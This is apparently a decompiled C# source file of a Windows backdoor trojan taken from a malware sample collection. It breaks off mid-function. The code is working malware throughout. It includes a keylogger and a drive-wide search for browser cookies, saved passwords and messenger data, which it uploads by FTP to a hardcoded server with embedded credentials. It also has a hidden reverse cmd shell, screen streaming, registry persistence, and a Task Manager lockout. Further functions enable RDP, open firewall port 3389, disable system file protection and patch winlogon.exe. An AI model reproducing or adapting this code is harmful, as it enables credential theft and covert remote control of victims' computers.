// Decompiled with JetBrains decompiler
// Type: Troj.Program
// Assembly: 1, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 03D1C1E9-0DD7-4E4C-83B9-CB0ED7E5AEDF
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.MSIL.VKont.wn-a9f02241edba908b9ec0712337867c131f7310f3ddad4ac40998f04939d7623f.exe

using Microsoft.Win32;
using System;
using System.Collections;
using System.Diagnostics;
using System.DirectoryServices;
using System.Drawing;
using System.Drawing.Drawing2D;
using System.Drawing.Imaging;
using System.IO;
using System.IO.Compression;
using System.Net;
using System.Net.Mail;
using System.Net.Sockets;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;
using System.Threading;
using System.Windows.Forms;

namespace Troj
{
  public class Program
  {
    private const int WH_KEYBOARD_LL = 13;
    private const int WM_KEYDOWN = 256;
    private static int svsex;
    private static int sdosta;
    private static string logkey;
    private static int keycount = 0;
    private static Thread[] thkey;
    private static Thread[] tcherez;
    private static int cerezcount = 0;
    private static int keyI;
    private static string strbug;
    private static string strbuftx;
    private static string buflyb;
    private static int ftpi;
    private static int countGroup = 0;
    private static Program.LowLevelKeyboardProc _proc = new Program.LowLevelKeyboardProc(Program.HookCallback);
    private static IntPtr _hookID = IntPtr.Zero;
    private static Thread th;
    private static TcpClient socketForServer;
    private static NetworkStream networkStream;
    private static StreamWriter streamWriter;
    private static StreamReader streamReader;
    private static Process processCmd;
    private static StringBuilder strInput;
    private static int hwnd_n;
    private static int hwnd_s;
    private static string DiskWindows;

    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr SetWindowsHookEx(
      int idHook,
      Program.LowLevelKeyboardProc lpfn,
      IntPtr hMod,
      uint dwThreadId);

    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    [return: MarshalAs(UnmanagedType.Bool)]
    private static extern bool UnhookWindowsHookEx(IntPtr hhk);

    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr CallNextHookEx(
      IntPtr hhk,
      int nCode,
      IntPtr wParam,
      IntPtr lParam);

    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr GetModuleHandle(string lpModuleName);

    [DllImport("user32.dll")]
    public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);

    [DllImport("user32.dll")]
    private static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);

    [DllImport("user32.dll")]
    private static extern int GetForegroundWindow();

    [DllImport("user32")]
    private static extern uint GetWindowThreadProcessId(int hWnd, out int lpdwProcessId);

    [DllImport("user32.dll")]
    public static extern IntPtr GetDesktopWindow();

    [DllImport("user32.dll")]
    public static extern IntPtr GetWindowDC(IntPtr hwnd);

    [DllImport("gdi32.dll")]
    public static extern ulong BitBlt(
      IntPtr hDestDC,
      int x,
      int y,
      int nWidth,
      int nHeight,
      IntPtr hSrcDC,
      int xSrc,
      int ySrc,
      int dwRop);

    private static void SearchAll(
      string disk,
      string n_file,
      string smail,
      string sftp,
      string spapka)
    {
      try
      {
        foreach (DirectoryInfo directory in new DirectoryInfo(disk).GetDirectories())
        {
          try
          {
            foreach (FileSystemInfo file in directory.GetFiles(n_file, SearchOption.TopDirectoryOnly))
              Program.CherezShto(file.FullName, smail, sftp, spapka);
          }
          catch
          {
          }
          Program.SearchAll(directory.FullName, n_file, smail, sftp, spapka);
        }
      }
      catch
      {
      }
    }

    private static IntPtr SetHook(Program.LowLevelKeyboardProc proc)
    {
      using (Process currentProcess = Process.GetCurrentProcess())
      {
        using (ProcessModule mainModule = currentProcess.MainModule)
          return Program.SetWindowsHookEx(13, proc, Program.GetModuleHandle(mainModule.ModuleName), 0U);
      }
    }

    private static string TimeNow()
    {
      DateTime now = DateTime.Now;
      return now.Year.ToString() + "-" + now.Month.ToString() + "-" + now.Day.ToString() + "-" + now.Hour.ToString() + "-" + now.Minute.ToString() + "-" + now.Second.ToString();
    }

    private static int GetWindowProcessID(int hwnd)
    {
      int lpdwProcessId = 0;
      int windowThreadProcessId = (int) Program.GetWindowThreadProcessId(hwnd, out lpdwProcessId);
      return lpdwProcessId;
    }

    private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
    {
      Program.hwnd_n = Program.GetForegroundWindow();
      if (Program.hwnd_n != Program.hwnd_s)
        Program.logkey = Program.logkey + "\n[" + Process.GetProcessById(Program.GetWindowProcessID(Program.hwnd_n)).MainWindowTitle + "]titlewindows[gentroj]\n";
      if (nCode >= 0 && wParam == (IntPtr) 256)
      {
        int num = Marshal.ReadInt32(lParam);
        if (num == 13)
        {
          Program.logkey += "\n";
        }
        else
        {
          ++Program.sdosta;
          ++Program.svsex;
          Program.logkey = Program.logkey + (object) (Keys) num + "";
          if (Program.sdosta == 0)
          {
            Program.sdosta = 0;
            Program.TimeNow();
            if (Program.keycount > 10)
              Program.keycount = 0;
            Program.logkey = (string) null;
          }
        }
      }
      Program.hwnd_s = Program.hwnd_n;
      return Program.CallNextHookEx(Program._hookID, nCode, wParam, lParam);
    }

    public static void SearchonDisk(string tmp_file, string smail, string sftp, string spapka)
    {
      try
      {
        foreach (string logicalDrive in Directory.GetLogicalDrives())
          Program.SearchAll(logicalDrive, tmp_file, smail, sftp, spapka);
      }
      catch
      {
      }
    }

    public static bool CherezShto(string strfile, string nmail, string nftp, string pftp)
    {
      if (nmail == "True" || nmail == "true")
        Program.Sendmailfile(strfile, "User send you message : " + strfile, "0", 0, "0", "0", "0", false);
      if (nftp == "True" || nmail == "true")
        Program.Upload_ftp(strfile, "a01.dc47.com", "kuznetsov", "asdfgqwert", pftp);
      return true;
    }

    private static string C_OFF(byte[] encryptedTextBytes)
    {
      SymmetricAlgorithm symmetricAlgorithm = (SymmetricAlgorithm) DES.Create();
      MemoryStream memoryStream = new MemoryStream(encryptedTextBytes);
      CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, symmetricAlgorithm.CreateDecryptor(Program.Ret_Key(), Program.Ret_IV()), CryptoStreamMode.Read);
      byte[] numArray = new byte[encryptedTextBytes.Length];
      cryptoStream.Read(numArray, 0, encryptedTextBytes.Length);
      cryptoStream.Close();
      memoryStream.Close();
      return new UnicodeEncoding().GetString(numArray);
    }

    private static byte[] OUTS(string S)
    {
      int length = 0;
      for (int index = 0; index < S.Length; ++index)
      {
        if (S[index] == '&')
          ++length;
      }
      byte[] numArray = new byte[length];
      for (int index = 0; index < numArray.Length; ++index)
      {
        int startIndex = S.IndexOf("&");
        if (startIndex != -1)
        {
          numArray[index] = Convert.ToByte(S.Remove(startIndex));
          S = S.Substring(startIndex + 1);
        }
        else
          break;
      }
      return numArray;
    }

    private static byte[] Ret_Key() => new byte[8];

    private static byte[] Ret_IV() => new byte[8];

    private static string DelF(string tmp)
    {
      for (int index = 0; index < tmp.Length; ++index)
      {
        if (tmp[index] == char.MinValue)
        {
          tmp = tmp.Remove(index);
          break;
        }
      }
      return tmp;
    }

    public static bool Sendmailfile(
      string temp,
      string user,
      string ssmtp,
      int sport,
      string smail,
      string spass,
      string vmail,
      bool sssl)
    {
      Attachment attachment = new Attachment(temp, "application/octet-stream");
      bool flag;
      try
      {
        SmtpClient smtpClient = new SmtpClient(ssmtp, sport);
        smtpClient.Credentials = (ICredentialsByHost) new NetworkCredential(smail, spass);
        smtpClient.EnableSsl = sssl;
        MailMessage message = new MailMessage();
        message.From = new MailAddress(smail);
        message.To.Add(new MailAddress(vmail));
        message.Subject = user;
        message.Body = user;
        message.Attachments.Add(attachment);
        smtpClient.Send(message);
        attachment.Dispose();
        flag = true;
      }
      catch
      {
        flag = false;
        attachment.Dispose();
      }
      return flag;
    }

    private static string GetDiskWindows()
    {
      string systemDirectory = Environment.SystemDirectory;
      return systemDirectory.Remove(systemDirectory.IndexOf("\\") + 1);
    }

    private static bool Upload_ftp(
      string filename,
      string ftpServerIP,
      string ftpUserID,
      string ftpPassword,
      string papka)
    {
      ++Program.ftpi;
      FileInfo fileInfo = new FileInfo(filename);
      FtpWebRequest ftpWebRequest = (FtpWebRequest) WebRequest.Create(new Uri("ftp://" + ftpServerIP + "/" + papka + "/" + Program.TimeNow() + "-" + fileInfo.Name));
      ftpWebRequest.Proxy = (IWebProxy) null;
      ftpWebRequest.Credentials = (ICredentials) new NetworkCredential(ftpUserID, ftpPassword);
      ftpWebRequest.KeepAlive = false;
      ftpWebRequest.Method = "STOR";
      ftpWebRequest.UseBinary = true;
      ftpWebRequest.ContentLength = fileInfo.Length;
      int count1 = 2048;
      byte[] buffer = new byte[count1];
      FileStream fileStream = fileInfo.OpenRead();
      try
      {
        Stream requestStream = ftpWebRequest.GetRequestStream();
        for (int count2 = fileStream.Read(buffer, 0, count1); count2 != 0; count2 = fileStream.Read(buffer, 0, count1))
          requestStream.Write(buffer, 0, count2);
        requestStream.Close();
        fileStream.Close();
        return true;
      }
      catch
      {
        return false;
      }
    }

    public static void IECookies(string smail, string sftp, string spapka)
    {
      if (System.IO.File.Exists(Environment.GetEnvironmentVariable("TEMP") + "\\"))
        System.IO.File.Delete(Environment.GetEnvironmentVariable("TEMP") + "\\");
      try
      {
        string searchPattern = "*.txt";
        DirectoryInfo directoryInfo = new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.Cookies));
        try
        {
          StreamReader streamReader = (StreamReader) null;
          StreamWriter streamWriter = new StreamWriter(Environment.GetEnvironmentVariable("TEMP") + "\\", true, Encoding.UTF8);
          foreach (FileInfo file in directoryInfo.GetFiles(searchPattern, SearchOption.TopDirectoryOnly))
          {
            streamReader = new StreamReader((Stream) new FileStream(file.FullName, FileMode.Open, FileAccess.Read));
            string str = file.FullName + "\n" + streamReader.ReadToEnd();
            streamWriter.Write(str);
          }
          streamReader.Close();
          streamWriter.Close();
        }
        catch
        {
        }
        Program.CherezShto(Environment.GetEnvironmentVariable("TEMP") + "\\", smail, sftp, spapka);
      }
      catch
      {
      }
    }

    [STAThread]
    private static void Main(string[] args)
    {
      try
      {
        Program.ShowWindow(Program.FindWindow((string) null, Console.Title), 0);
        try
        {
          Process.Start(new ProcessStartInfo()
          {
            FileName = "cmd.exe",
            Arguments = "/c reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v DisableTaskMgr /t REG_DWORD /d 1 /f",
            WindowStyle = ProcessWindowStyle.Hidden
          });
          string str1 = "C:\\Windows\\1.exe";
          string str2 = Environment.GetEnvironmentVariable(str1.Substring(1, str1.IndexOf('%', 1) - 1)) + str1.Substring(str1.IndexOf('%', 1) + 1);
          try
          {
            if (!System.IO.File.Exists(str2))
              System.IO.File.Copy(Application.ExecutablePath, str2);
          }
          catch
          {
          }
          try
          {
            RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\", true);
            registryKey.SetValue(Application.ExecutablePath, (object) Application.ExecutablePath);
            registryKey.SetValue(str2, (object) str2);
          }
          catch
          {
          }
          new Thread((ThreadStart) (() =>
          {
            Program.DiskWindows = Program.GetDiskWindows();
            Program.SearchAll(Program.DiskWindows, "mra.dbs", "False", "True", "");
            Program.SearchAll(Program.DiskWindows, "cookies.sqlite", "False", "True", "");
            Program.SearchAll(Program.DiskWindows, "wand.dat", "False", "True", "");
            Program.IECookies("False", "True", "");
            Program.SearchAll(Program.DiskWindows, "Owner.MDB", "False", "True", "");
            Program.SearchAll(Program.DiskWindows, "*.bip", "False", "True", "");
            Program.SearchAll(Program.DiskWindows, "*.qip", "False", "True", "");
            Program.SearchAll(Program.DiskWindows, "Cookies.plist", "False", "True", "");
            Program.SearchAll(Program.DiskWindows, "Cookies", "False", "True", "");
          })).Start();
        }
        catch
        {
          Process.Start(new ProcessStartInfo()
          {
            FileName = "cmd.exe",
            Arguments = "/c reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v DisableTaskMgr /t REG_DWORD /d 1 /f",
            WindowStyle = ProcessWindowStyle.Hidden
          });
          string str3 = "C:\\Windows\\1.exe";
          string str4 = Environment.GetEnvironmentVariable(str3.Substring(1, str3.IndexOf('%', 1) - 1)) + str3.Substring(str3.IndexOf('%', 1) + 1);
          try
          {
            if (!System.IO.File.Exists(str4))
              System.IO.File.Copy(Application.ExecutablePath, str4);
          }
          catch
          {
          }
          try
          {
            RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\", true);
            registryKey.SetValue(Application.ExecutablePath, (object) Application.ExecutablePath);
            registryKey.SetValue(str4, (object) str4);
          }
          catch
          {
          }
          new Thread((ThreadStart) (() =>
          {
            Program.DiskWindows = Program.GetDiskWindows();
            Program.SearchAll(Program.DiskWindows, "mra.dbs", "False", "True", "");
            Program.SearchAll(Program.DiskWindows, "cookies.sqlite", "False", "True", "");
            Program.SearchAll(Program.DiskWindows, "wand.dat", "False", "True", "");
            Program.IECookies("False", "True", "");
            Program.SearchAll(Program.DiskWindows, "Owner.MDB", "False", "True", "");
            Program.SearchAll(Program.DiskWindows, "*.bip", "False", "True", "");
            Program.SearchAll(Program.DiskWindows, "*.qip", "False", "True", "");
            Program.SearchAll(Program.DiskWindows, "Cookies.plist", "False", "True", "");
            Program.SearchAll(Program.DiskWindows, "Cookies", "False", "True", "");
          })).Start();
        }
      }
      catch
      {
      }
    }

    private static void MainView()
    {
      try
      {
        TcpClient tcpClient = new TcpClient();
        Program.ScreenShotDll screenShotDll = new Program.ScreenShotDll();
        tcpClient.Connect("0", Convert.ToInt32("0"));
        NetworkStream stream = tcpClient.GetStream();
        BinaryWriter binaryWriter = new BinaryWriter((Stream) stream);
        BinaryReader binaryReader = new BinaryReader((Stream) stream);
        SHA1CryptoServiceProvider cryptoServiceProvider = new SHA1CryptoServiceProvider();
        Image image1 = Program.Resize((Image) screenShotDll.CaptureScreenShot(), 0.0);
        Image image2 = image1;
        byte[] buffer1 = Program.ImageToByte(image1);
        if (binaryReader.ReadBoolean())
        {
          binaryWriter.Write(buffer1.Length);
          if (binaryReader.ReadBoolean())
            binaryWriter.Write(buffer1);
        }
        while (true)
        {
          Thread.Sleep(Convert.ToInt32("0"));
          Application.DoEvents();
          byte[] numArray1 = Program.Bytetorgb((Bitmap) image1);
          Image bmp = Program.Resize((Image) screenShotDll.CaptureScreenShot(), 0.0);
          byte[] numArray2 = Program.Bytetorgb((Bitmap) bmp);
          if (cryptoServiceProvider.ComputeHash(numArray1)[0].ToString() != cryptoServiceProvider.ComputeHash(numArray2)[0].ToString() && cryptoServiceProvider.ComputeHash(numArray1)[1].ToString() != cryptoServiceProvider.ComputeHash(numArray2)[1].ToString())
          {
            image2 = (Image) Program.SearchByte(Program.clearPic((Bitmap) image2), numArray1, numArray2);
            byte[] raw = Program.ImageToByte(image2);
            byte[] numArray3 = Program.Compress(raw);
            bool flag;
            byte[] buffer2;
            if (raw.Length > numArray3.Length)
            {
              Console.Write("#");
              flag = true;
              buffer2 = numArray3;
            }
            else
            {
              flag = false;
              buffer2 = raw;
            }
            if (binaryReader.ReadBoolean())
            {
              binaryWriter.Write(buffer2.Length);
              if (binaryReader.ReadBoolean())
                binaryWriter.Write(buffer2);
              binaryWriter.Write(flag);
            }
            Console.WriteLine("Time : " + (object) DateTime.Now.Hour + "|" + (object) DateTime.Now.Minute + "|" + DateTime.Now.Second.ToString() + " Kb : " + buffer2.Length.ToString());
            image1 = bmp;
          }
          else
            Console.WriteLine("Time : " + (object) DateTime.Now.Hour + "|" + (object) DateTime.Now.Minute + "/" + DateTime.Now.Second.ToString() + " KB : 0");
        }
      }
      catch
      {
      }
    }

    private static byte[] Compress(byte[] raw)
    {
      using (MemoryStream memoryStream = new MemoryStream())
      {
        using (GZipStream gzipStream = new GZipStream((Stream) memoryStream, CompressionMode.Compress, true))
          gzipStream.Write(raw, 0, raw.Length);
        return memoryStream.ToArray();
      }
    }

    private static Image Resize(Image img, double percentage)
    {
      int width1 = img.Width;
      int height1 = img.Height;
      int width2 = (int) ((double) width1 / percentage);
      int height2 = (int) ((double) height1 / percentage);
      Bitmap bitmap = new Bitmap(width2, height2);
      Graphics graphics = Graphics.FromImage((Image) bitmap);
      graphics.InterpolationMode = InterpolationMode.Low;
      graphics.DrawImage(img, 0, 0, width2, height2);
      graphics.Dispose();
      return (Image) bitmap;
    }

    private static byte[] ImageToByte(Image imageIn)
    {
      MemoryStream memoryStream = new MemoryStream();
      imageIn.Save((Stream) memoryStream, ImageFormat.Png);
      return memoryStream.ToArray();
    }

    private static byte[] Bytetorgb(Bitmap bmp)
    {
      Rectangle rect = new Rectangle(0, 0, bmp.Width, bmp.Height);
      BitmapData bitmapdata = bmp.LockBits(rect, ImageLockMode.ReadWrite, bmp.PixelFormat);
      IntPtr scan0 = bitmapdata.Scan0;
      int length = bitmapdata.Stride * bmp.Height;
      byte[] destination = new byte[length];
      Marshal.Copy(scan0, destination, 0, length);
      bmp.UnlockBits(bitmapdata);
      return destination;
    }

    private static Bitmap SearchByte(Bitmap bmp, byte[] mas1, byte[] mas2)
    {
      Rectangle rect = new Rectangle(0, 0, bmp.Width, bmp.Height);
      BitmapData bitmapdata = bmp.LockBits(rect, ImageLockMode.ReadWrite, bmp.PixelFormat);
      IntPtr scan0 = bitmapdata.Scan0;
      int length = bitmapdata.Stride * bmp.Height;
      byte[] numArray = new byte[length];
      Marshal.Copy(scan0, numArray, 0, length);
      for (int index = 0; index < numArray.Length; ++index)
      {
        if ((int) mas1[index] != (int) mas2[index])
          numArray[index] = mas2[index];
      }
      Marshal.Copy(numArray, 0, scan0, length);
      bmp.UnlockBits(bitmapdata);
      return bmp;
    }

    private static Bitmap clearPic(Bitmap bmp)
    {
      Rectangle rect = new Rectangle(0, 0, bmp.Width, bmp.Height);
      BitmapData bitmapdata = bmp.LockBits(rect, ImageLockMode.ReadWrite, bmp.PixelFormat);
      IntPtr scan0 = bitmapdata.Scan0;
      int length = bitmapdata.Stride * bmp.Height;
      byte[] numArray = new byte[length];
      Marshal.Copy(scan0, numArray, 0, length);
      for (int index = 0; index < numArray.Length; ++index)
        numArray[index] = (byte) 53;
      Marshal.Copy(numArray, 0, scan0, length);
      bmp.UnlockBits(bitmapdata);
      return bmp;
    }

    public static void TermSrv()
    {
      string str = Program.TimeNow();
      try
      {
        if (System.IO.File.Exists(Environment.SystemDirectory + "\\Dllcache\\termsrv.dll"))
        {
          System.IO.File.Move(Environment.SystemDirectory + "\\Dllcache\\termsrv.dll", Environment.SystemDirectory + "\\Dllcache\\termsrv" + str + ".dll");
          System.IO.File.Copy("termsrv.dll", Environment.SystemDirectory + "\\Dllcache\\termsrv.dll");
        }
        else
          System.IO.File.Copy("termsrv.dll", Environment.SystemDirectory + "\\Dllcache\\termsrv.dll");
        if (System.IO.File.Exists(Environment.SystemDirectory + "\\termsrv.dll"))
          System.IO.File.Move(Environment.SystemDirectory + "\\termsrv.dll", Environment.SystemDirectory + "\\termsrv" + str + ".dll");
        System.IO.File.Copy("termsrv.dll", Environment.SystemDirectory + "\\termsrv.dll");
      }
      catch (Exception ex)
      {
        Console.WriteLine(ex.Message);
      }
    }

    public static void Backdoor()
    {
      try
      {
        Thread tsend = new Thread((ThreadStart) (() =>
        {
          try
          {
            Program.processCmd = new Process();
            Program.processCmd.StartInfo.FileName = "cmd.exe";
            Program.processCmd.StartInfo.CreateNoWindow = true;
            Program.processCmd.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
            Program.processCmd.StartInfo.UseShellExecute = false;
            Program.processCmd.StartInfo.RedirectStandardOutput = true;
            Program.processCmd.StartInfo.RedirectStandardInput = true;
            Program.processCmd.StartInfo.RedirectStandardError = true;
            Program.processCmd.OutputDataReceived += new DataReceivedEventHandler(Program.proc);
            Program.processCmd.Start();
            Program.processCmd.BeginOutputReadLine();
            Program.strInput = new StringBuilder();
            try
            {
              while (true)
              {
                Program.strInput.Append(Program.streamReader.ReadLine());
                Program.strInput.Append("\n");
                Program.processCmd.StandardInput.WriteLine((object) Program.strInput);
                Program.processCmd.StandardInput.Flush();
                Program.strInput.Remove(0, Program.strInput.Length);
              }
            }
            catch (Exception ex)
            {
            }
          }
          catch
          {
          }
        }));
        new Thread((ThreadStart) (() =>
        {
          try
          {
            Program.socketForServer = new TcpClient("0", 0);
            Program.networkStream = Program.socketForServer.GetStream();
            Program.streamReader = new StreamReader((Stream) Program.networkStream);
            Program.streamWriter = new StreamWriter((Stream) Program.networkStream);
            tsend.Start();
          }
          catch
          {
          }
        })).Start();
      }
      catch
      {
      }
    }

    private static void proc(object sender, DataReceivedEventArgs e)
    {
      StringBuilder stringBuilder = new StringBuilder();
      if (string.IsNullOrEmpty(e.Data))
        return;
      try
      {
        stringBuilder.Append(e.Data);
        Program.streamWriter.WriteLine((object) stringBuilder);
        Program.streamWriter.Flush();
      }
      catch
      {
      }
    }

    private static void CacheDelete(string dir)
    {
      try
      {
        if (!Directory.Exists(dir))
          return;
        for (int index = 0; index < Directory.GetFiles(dir).Length; ++index)
        {
          try
          {
            System.IO.File.Delete(Directory.GetFiles(dir)[index]);
          }
          catch
          {
          }
        }
        for (int index = 0; index < Directory.GetDirectories(dir).Length; ++index)
        {
          try
          {
            Directory.Delete(Directory.GetDirectories(dir)[index]);
          }
          catch
          {
          }
        }
      }
      catch
      {
      }
    }

    public static void FileP()
    {
      try
      {
        Program.CacheDelete(Environment.SystemDirectory + "\\Dllcache");
        Program.CacheDelete(Environment.SystemDirectory + "\\CatRoot");
      }
      catch
      {
      }
    }

    public static void RegConfig()
    {
      try
      {
        try
        {
          Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Control\\Terminal Server", true).SetValue("fEnableSalem", (object) "00000000", RegistryValueKind.DWord);
        }
        catch
        {
        }
        try
        {
          Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server", true).SetValue("fDenyTSConnections", (object) "0", RegistryValueKind.DWord);
        }
        catch
        {
        }
        try
        {
          Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Licensing Core", true).SetValue("EnableConcurrentSessions", (object) "00000001", RegistryValueKind.DWord);
        }
        catch
        {
        }
        try
        {
          Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", true).SetValue("AllowMultipleTSSessions", (object) "00000001", RegistryValueKind.DWord);
        }
        catch
        {
        }
        try
        {
          RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History\\{35378EAC-683F-11D2-A89A-00C04FBBCFA2}\\0", true);
          registryKey.SetValue("Options", (object) "00000000", RegistryValueKind.DWord);
          registryKey.SetValue("Version", (object) "00010001", RegistryValueKind.DWord);
          registryKey.SetValue("GPOLink", (object) "00000001", RegistryValueKind.DWord);
          registryKey.SetValue("lParam", (object) "00000000", RegistryValueKind.DWord);
          registryKey.SetValue("Extensions", (object) "[{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{0F6B957D-509E-11D1-A7CC-0000F87571E3}]", RegistryValueKind.String);
          registryKey.SetValue("Link", (object) "Local", RegistryValueKind.String);
        }
        catch
        {
        }
        try
        {
          RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Services\\RDPWD\\Enum", true);
          registryKey.SetValue("0", (object) "Root\\LEGACY_RDPWD\\0000", RegistryValueKind.String);
          registryKey.SetValue("Count", (object) "00000001", RegistryValueKind.DWord);
          registryKey.SetValue("NextInstance", (object) "00000001", RegistryValueKind.DWord);
        }
        catch
        {
        }
        try
        {
          Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\DomainProfile\\GloballyOpenPorts\\List", true).SetValue("3389:TCP", (object) "3389:TCP:*:Enabled:@xpsp2res.dll,-22009", RegistryValueKind.String);
        }
        catch
        {
        }
        try
        {
          Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\GloballyOpenPorts\\List", true).SetValue("3389:TCP", (object) "3389:TCP:*:Enabled:@xpsp2res.dll,-22009", RegistryValueKind.String);
        }
        catch
        {
        }
        try
        {
          RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Services\\TDTCP\\Enum", true);
          registryKey.SetValue("0", (object) "Root\\LEGACY_TDTCP\\0000", RegistryValueKind.String);
          registryKey.SetValue("Count", (object) "00000001", RegistryValueKind.DWord);
          registryKey.SetValue("NextInstance", (object) "00000001", RegistryValueKind.DWord);
        }
        catch
        {
        }
        try
        {
          RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server", true);
          registryKey.SetValue("fDenyTSConnections", (object) "0", RegistryValueKind.DWord);
          registryKey.SetValue("TSAdvertise", (object) "00000001", RegistryValueKind.DWord);
          registryKey.SetValue("IdleWinStationPoolCount", (object) "00000001", RegistryValueKind.DWord);
          registryKey.SetValue("TSAppCompat", (object) "00000000", RegistryValueKind.DWord);
          registryKey.SetValue("TSUserEnabled", (object) "00000000", RegistryValueKind.DWord);
        }
        catch
        {
        }
        try
        {
          Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Licensing Core", true).SetValue("EnableConcurrentSessions", (object) "00000000", RegistryValueKind.DWord);
        }
        catch
        {
        }
        try
        {
          RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Services\\RDPWD\\Enum", true);
          registryKey.SetValue("0", (object) "Root\\LEGACY_RDPWD\\0000", RegistryValueKind.String);
          registryKey.SetValue("Count", (object) "00000001", RegistryValueKind.DWord);
          registryKey.SetValue("NextInstance", (object) "00000001", RegistryValueKind.DWord);
        }
        catch
        {
        }
        try
        {
          Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\DomainProfile\\GloballyOpenPorts\\List", true).SetValue("3389:TCP", (object) "3389:TCP:*:Enabled:@xpsp2res.dll,-22009", RegistryValueKind.String);
        }
        catch
        {
        }
        try
        {
          Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\GloballyOpenPorts\\List", true).SetValue("3389:TCP", (object) "3389:TCP:*:Enabled:@xpsp2res.dll,-22009", RegistryValueKind.String);
        }
        catch
        {
        }
        try
        {
          RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Services\\TDTCP\\Enum", true);
          registryKey.SetValue("0", (object) "Root\\LEGACY_TDTCP\\0000", RegistryValueKind.String);
          registryKey.SetValue("Count", (object) "00000001", RegistryValueKind.DWord);
          registryKey.SetValue("NextInstance", (object) "00000001", RegistryValueKind.DWord);
        }
        catch
        {
        }
        try
        {
          RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", true);
          registryKey.SetValue("SFCSetting", (object) -99, RegistryValueKind.DWord);
          registryKey.SetValue("SFCDisable", (object) -99, RegistryValueKind.DWord);
        }
        catch
        {
        }
        try
        {
          Registry.LocalMachine.OpenSubKey("SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services", true).SetValue("MaxInstanceCount", (object) "2", RegistryValueKind.DWord);
        }
        catch
        {
        }
        try
        {
          RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp", true);
          registryKey.SetValue("MaxInstanceCount", (object) "2", RegistryValueKind.DWord);
          registryKey.SetValue("fEnableWinStation", (object) "00000001", RegistryValueKind.DWord);
        }
        catch
        {
        }
      }
      catch
      {
      }
    }

    public static void RDP_M() => Program.TimeNow();

    public static void w_Change()
    {
      try
      {
        if (!System.IO.File.Exists(Environment.SystemDirectory + "\\winlogon.exe"))
          return;
        System.IO.File.Copy(Environment.SystemDirectory + "\\winlogon.exe", Environment.SystemDirectory + "\\winlogon.123");
        FileStream fileStream = new FileStream(Environment.SystemDirectory + "\\winlogon.123", FileMode.Open);
        byte[] buffer = new byte[fileStream.Length];
        fileStream.Read(buffer, 0, (int) fileStream.Length);
        buffer[94] = (byte) 110;
        buffer[173347] = (byte) 85;
        buffer[173348] = (byte) 139;
        buffer[173349] = (byte) 236;
        buffer[173437] = (byte) 139;
        buffer[173438] = byte.MaxValue;
        buffer[173439] = (byte) 85;
        BinaryWriter binaryWriter = new BinaryWriter((Stream) new FileStream(Environment.SystemDirectory + "\\winlogon.bak", FileMode.Create));
        binaryWriter.Write(buffer);
        binaryWriter.Close();
        fileStream.Close();
        if (System.IO.File.Exists(Environment.SystemDirectory + "\\Dllcache\\winlogon.exe"))
        {
          System.IO.File.Move(Environment.SystemDirectory + "\\Dllcache\\winlogon.exe", Environment.SystemDirectory + "\\Dllcache\\winlogon.del");
          System.IO.File.Copy(Environment.SystemDirectory + "\\winlogon.bak", Environment.SystemDirectory + "\\Dllcache\\winlogon.exe");
        }
        else
          System.IO.File.Copy(Environment.SystemDirectory + "\\winlogon.bak", Environment.SystemDirectory + "\\Dllcache\\winlogon.exe");
        System.IO.File.Move(Environment.SystemDirectory + "\\winlogon.exe", Environment.SystemDirectory + "\\winlogon.lol");
        System.IO.File.Move(Environment.SystemDirectory + "\\winlogon.lol", Environment.SystemDirectory + "\\winlogon.exe");
        Thread.Sleep(2000);
